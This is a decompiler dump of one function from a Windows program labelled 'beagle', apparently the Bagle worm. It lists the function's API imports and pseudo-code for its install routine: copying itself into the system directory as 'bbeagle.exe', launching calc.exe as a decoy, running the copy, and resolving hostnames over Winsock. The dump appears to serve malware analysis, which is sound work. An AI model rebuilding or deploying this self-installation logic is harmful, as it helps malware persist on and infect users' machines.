Private Function beagle.usub_401835.txt

Calls out:


DLL:wsock32.gethostbyname
DLL:wsock32.inet_addr
usub_40179b
usub_4017dc
DLL:kernel32.ExitProcess
DLL:kernel32.WinExec
DLL:kernel32.CopyFileA
DLL:kernel32.GetCommandLineA
DLL:shlwapi.StrStrIA
usub_401625
DLL:kernel32.lstrcatA
DLL:kernel32.GetModuleFileNameA
DLL:kernel32.GetSystemDirectoryA
usub_4016ca
usub_402737
DLL:kernel32.CreateMutexA
usub_402add
DLL:wsock32.WSAStartup
usub_4015a5
usub_40126f
DLL:kernel32.GetTickCount
usub_401669

Incoming calls for beagle.usub_401835.txt


beagle.EntryPoint.txt

Decompiled source code follows:

If (usub_401669 != 0)
      ExitProcess(0)
End If
usub_40126f(GetTickCount(#STACKVAR-UNINITIALISED-3700))
usub_4015a5
WSAStartup(257,#STACKVAR-UNINITIALISED-4498)
usub_402add(#STACKVAR-UNINITIALISED-3696)
Global4226844 = CreateMutexA(0,0,NULL)
usub_402737
usub_4016ca
GetSystemDirectoryA(4226848,260)
GetModuleFileNameA(0,4227109,260)
lstrcatA(4226848,"\\bbeagle.exe")
usub_401625
If (StrStrIA(4227109,4226848) != 0)
      FLocal16 = GetCommandLineA(#STACKVAR-UNINITIALISED-3688)
            (TOKEN_WHILE 4018DA)
            If ((OFFSET-CONTAINER 1 FLocal16) != 1685091629)
            Loop While ((OFFSET-CONTAINER 1 (FLocal16 + 1) 3 NUMBER) != 0)
            WinExec("calc.exe",5)
      End If
      If (CopyFileA(4227109,4226848,0) = 0)
            WinExec(4226848,0)
      End If
      ExitProcess(0)
Else
      FLocal21 = usub_4017dc
      BLocal1 = FLocal21
      If (FLocal21 = 0)
            Global4216660 = 1
      End If
      BLocal1 = usub_40179b
End If
Return BLocal1
If (inet_addr(#ARG412) = 4294967295)
      FLocal24 = gethostbyname(#ARG412)
      If (FLocal24 != 0)
      Else
            BLocal2 = (OFFSET-CONTAINER 1 [OFFSET-CONTAINER] 1 FLocal24 12 NUMBER)
            If (([OFFSET-CONTAINER] 1 FLocal24 12 NUMBER) != 0)
                  BLocal2 = 4294967295
            Else
                  BLocal2 = (OFFSET-CONTAINER 1 OFFSET-CONTAINER 1 [OFFSET-CONTAINER] 1 FLocal24 12 NUMBER)
            End If
      End If
End If
Return BLocal2
End Sub